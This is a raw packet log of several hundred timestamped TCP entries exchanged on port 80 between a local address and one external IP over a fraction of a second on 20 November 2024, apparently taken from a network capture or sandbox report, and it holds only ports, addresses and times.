Nov 20, 2024 00:19:04.023864031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.023878098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.023910999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.023911953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.023916006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.023927927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.023968935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024003029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024132013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024142027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024152994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024163008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024173021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024183035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024194002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024240971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024246931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024246931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024252892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024266005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024274111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024291992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024324894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024331093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024384022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024400949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024411917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024458885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024543047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024554014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024563074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024573088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.024600029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.024631023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.025034904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025048018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025055885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025108099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.025108099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.025155067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025166035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025175095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025186062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025196075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.025218964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.025248051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026206970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026243925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026253939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026264906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026304007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026304007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026345015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026355982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026367903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026379108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026397943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026443005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026468039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026477098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026487112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026542902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026700020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026711941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026721954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026751041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026781082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.026868105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026876926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.026926994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058192968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058206081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058217049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058278084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058299065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058311939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058322906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058336973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058362961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058396101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058413029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058418036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058448076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058475018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058506966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058568001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058579922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058590889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058603048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058613062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058623075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058625937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058640003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058654070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.058655024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058674097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058706999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.058707952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.059094906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059104919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059114933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059124947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059134960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059144020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059154987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059159994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.059159994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.059166908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059178114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059181929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.059194088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.059204102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.059223890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.059252024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.082319975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082371950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082381964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082385063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.082441092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.082496881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082551956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.082576036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082587004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082638025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.082766056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082776070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.082823038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.116801023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.116852045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.116863966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.116887093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.116939068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.116983891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.116996050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117007017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117017984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117031097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117039919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117075920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117077112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117197990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117208958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117221117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117230892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117243052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117254972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117249966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117268085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117274046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117292881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117322922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117454052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117465019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117475033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117486000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117497921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117506981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117518902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117522955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117522955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117549896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117568970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117716074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117727995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117738008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117748976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117758989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117764950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117770910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.117772102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117798090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.117825985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.118722916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118743896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118755102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118781090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.118809938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.118864059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118875980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118885994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118897915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.118926048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.118957996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119080067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119092941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119105101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119116068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119127035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119138002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119148016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119149923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119174004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119199991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119199991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119334936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119347095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119358063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119369984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119394064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119424105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119510889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119525909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119535923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119546890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119558096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119569063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119574070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119580030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119592905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119595051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119653940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119653940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119653940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119823933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119836092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119846106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119857073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119868994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119879961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119895935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119901896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119913101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.119931936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.119961023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120085955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120137930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120294094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120306015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120322943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120346069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120359898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120368958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120368958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120373964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120387077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120399952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120412111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120412111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120454073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120457888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120471954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120479107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120485067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120488882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.120513916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.120547056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.151910067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.151948929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.151962042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.151976109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152013063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152013063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152055025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152066946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152080059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152117968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152157068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152164936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152168989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152182102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152215004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152240992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152302027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152313948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152334929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152347088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152378082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152409077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152426958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152553082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152652979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152664900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152677059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152688980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152698994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152712107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152712107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152725935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152733088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152767897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152769089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152801037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152812958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152823925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152836084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152848005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152857065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152862072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152874947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.152877092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152900934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.152929068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.176625967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176635981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176645994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176666975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176677942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176687002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176692009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.176698923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.176733971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.176734924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.176773071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.210496902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210509062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210519075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210614920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210624933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210637093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210647106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210673094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.210728884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.210939884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210949898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210961103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210971117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.210980892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211008072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211009026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211018085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211030006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211030960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211050987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211078882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211090088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211100101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211111069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211121082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211131096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211146116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211179018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211179018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211261034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211272001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211282015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211342096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211342096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:04.211376905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211389065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:04.211395025 CET	80	49704	185.215.113.206	192.168.2.5
